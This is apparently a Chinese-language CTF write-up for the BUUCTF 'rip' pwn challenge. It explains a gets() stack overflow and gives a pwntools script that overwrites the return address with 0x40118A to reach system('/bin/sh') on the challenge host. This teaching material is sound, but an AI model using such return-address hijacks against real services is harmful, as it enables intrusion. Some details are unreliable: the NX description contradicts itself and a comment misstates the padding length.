首页 > 其他分享 >pwn基础入门-buuctf-2.rip

pwn基础入门-buuctf-2.rip

时间:2024-05-24 21:55:23浏览次数:14  
标签:buuctf 函数 0x40118A rip fun sh ubuntu pwn gets

2.rip

题目:函数溢出,熟悉解题思路过程

image-20240409145201527

将下载下来的pwn1文件内容,放到ubuntu中checksec一下

ubuntu中checksec文件

image-20240409145312080

  • 从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.

下面我们用IDA打开这个文件

image-20240409160013661

F5

打开这个文件后,会有这样一个界面,点击F5可以将汇编语言还原为C

image-20240409160556026

代码分析:函数很简单,就一个puts函数输出,然后gets函数输入到s当中,用puts函数输出出来。

程序关键:存在gets函数,由于存在两个参数,准确来说是gets_s函数。

gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。

get函数 gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag.

shift+f12

按下shift+f12,打开string window

image-20240409160828881

发现/bin/sh,双击/bin/sh, 点击command,点击X,发现/bin/sh的address在fun()函数里

image-20240409160918735

image-20240409160938092

image-20240409161052363

点击上面的Pseudocode-A,点击fun,可以发现fun()函数就是一个简单的system()函数,第1题nc不同,system("/bin/sh")在fun()函数里,不在main函数里,所以这里就有了工作: 想办法触发fun()

编写exploit

这里我们借用的工具可以有pycharm,sublime text,以及ubuntu自带的vim编辑器,也可以使用VScode,我把VScode放到了ubuntu当中

1.ubuntu中使用vim,直接在终端输入vim 12.py(名字自己起,带上.py)

image-20240409162351720

image-20240409162505279

为什么这样写?等会解释,编写完成后esc,冒号,wq!强制保存退出

image-20240409162735218

执行命令,ls查看内容,cat flag找出flag即可

2.sublime text,打开软件编写即可

image-20240409163000440

可以存储到主目录下

image-20240409163051973

命名中含有.py,而后同1执行

3.ubuntu中VScode

在终端输入code.跳转到vscode中

image-20240409163347526

存储到主目录下,执行

4.pycharm

可以在windows中编写代码,运行

image-20240409163609516

运行代码后,ls cat flag即可

代码解释

from pwn import*                  //pwntools函数导入
sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号
#sh = process('./pwn1')             //本地调试
payload = b'a'*23+p64(0x40118A)     //输入payload来进行操作以拿到程序的shell,生成15个垃圾二进制数据,b'a'表示二进制的字母a。栈填满了之后,加上目标函数地址,就可以执行这个函数
//这里代码也可以这样写
//payload=b'a'*(0xf+0x8)+p64(0x40118A)
sh.sendline(payload)           //sendline() - 发送带回车符的字符串,sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符.
sh.interactive()                    //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器

payload = b’a’*23+p64(0x40118A) 核心在于偏移量23计算和0x40118A的由来 其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式

偏移量23计算 在main函数中,双击s,s占据了15个db,再加上"s"[saved registers]的8个db,一共23个db

image-20240409164729465

image-20240409164756785

可以进入到这个界面,计算s的偏移量:0-(-0xf)=0xf=15,我们要覆盖s的内容到r返回地址,所以0xf+0x8

0x40118A的由来:在IDA中,打开fun函数, 可看到fun()函数开始的地址为0x401186, "/bin/sh"指令执行的地址为0x40118A

image-20240409170100528

可以直接点击Export,可以看到是0x401186

image-20240516193803449

在汇编语言的情况下,点击func函数也可以看到函数的情况

image-20240517184513749

可以看到初始的地址是401186

image-20240517184704233

右键双击也可以查看另外一个版本的起始地址

image-20240517184901447

标签:buuctf,函数,0x40118A,rip,fun,sh,ubuntu,pwn,gets
From: https://blog.csdn.net/weixin_49765221/article/details/139039747

相关文章

  • NeurIPS ’24 截稿不足 2 天!hyper.ai 汇总 58 个顶会,提供精确到秒的 DDL 倒计时,持续更
    NeurIPS作为人工智能和机器学习领域的顶级会议,备受全球学者的关注。NeurIPS,全称为NeuralInformationProcessingSystemsConference,是神经信息处理系统的年度学术会议。该会议与ICML并称为人工智能领域难度最大、水平最高、影响力最强的会议。今年的NeurIPS会议即将......
  • BUUCTF-Misc(21-30)
    隐藏的钥匙010eidtor打开,发现了这个base64解密另外一个世界010editor打开之后发现了一串二进制编码01101011011011110110010101101011011010100011001101110011以8位为一组,转换为10进制,再对照ASCII码表得出字符。最后以flag格式提交。flag{koekj3s}神秘龙卷风参考:......
  • VBS(Visual Basic Script)是一种脚本语言,可以使用ADO(ActiveX Data Objects)来连接和操作A
    在PowerShell中,可以使用COM对象创建ADO连接并执行SQL查询来连接和操作Access数据库。以下是一个示例代码:powershellCopyCode#CreateaconnectiontoAccessdatabaseusingADO$conn=New-Object-ComObjectADODB.Connection$conn.Provider="Microsoft.ACE.OLEDB.12.0"......
  • JavaScript基本语法
    JavaScript是一种高级的、解释型的编程语言。它是Web开发中不可或缺的一部分,通常用于创建交互式网页,给用户带来更丰富的体验。以下是JavaScript入门的一些基本步骤和概念:1.基本语法变量声明:使用let或const声明变量。letmessage='Hello,World!';constPI=3.14;数......
  • TypeScript中的嵌套泛型
    当我们讨论嵌套泛型时,让我们以一个简单的示例来说明。假设我们有一个泛型类型`Container`,它接受两个类型参数:`T`和`U`。其中`T`表示容器中的数据类型,而`U`则表示某种附加信息的类型。```typescript//定义一个泛型类型ContainertypeContainer<T,U>={data:T;info......
  • JavaScript 动态网页实例 —— 简单的表单验证
            表单验证是网页设计、特别是网站设计中必不可少的内容,狭义的验证指“用户是否进行了输入”、“输入的数据类型或格式是否符合要求”等,而广义的验证则包括口令确认与身份验证等内容。本章和下一章对表单验证的方式、方法进行介绍,本章只介绍一些简单的验证,包括:......
  • TypeScript中的类型断言
    类型断言(TypeAssertion)是指在编程中显式地指定一个值的类型。在TypeScript中,类型断言可以让开发者告诉编译器某个值的确切类型,并且在编译时不进行类型检查或者进行更灵活的类型检查。下面是一个简单的TypeScript类型断言的例子://定义一个变量letsomeValue:any="this......
  • js逆向系列1.1、JavaScript基础语法
    JS逆向爬虫语法初阶dy:a_b,xhs:x-s等有需要联系。v:a2247429407【1】JavaScript初识JavaScript是一种用于在客户端(即用户的浏览器)上运行的编程语言。它是一种脚本语言,可以直接嵌入到HTML页面中,并由浏览器解释和执行。在客户端环境中,JavaScript可以与用户交互,操作和修......
  • BUUCTF-WEB(31-35)
    [GYCTF2020]Blacklist参考:[GYCTF2020]Blacklist1详解(handler命令用法!)-CSDN博客SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客过滤了这些内容。包括大写,由于是正则匹配,无法双写绕过这里其实我又试了试注释符绕过,但是没有任何回显但是我发现可以堆叠注入,因为这道题的......
  • JavaScript中reduce()详解及使用方法。
    一、定义和用法reduce()方法接收一个函数作为累加器,数组中的每个值(从左到右)开始缩减,最终计算为一个值。reduce()可以作为一个高阶函数,用于函数的compose。reduce()方法为归并类方法,最常用的场景就是,计算数组中的每一项的总和。注意:reduce()对于空数组是不会执行回调函数的......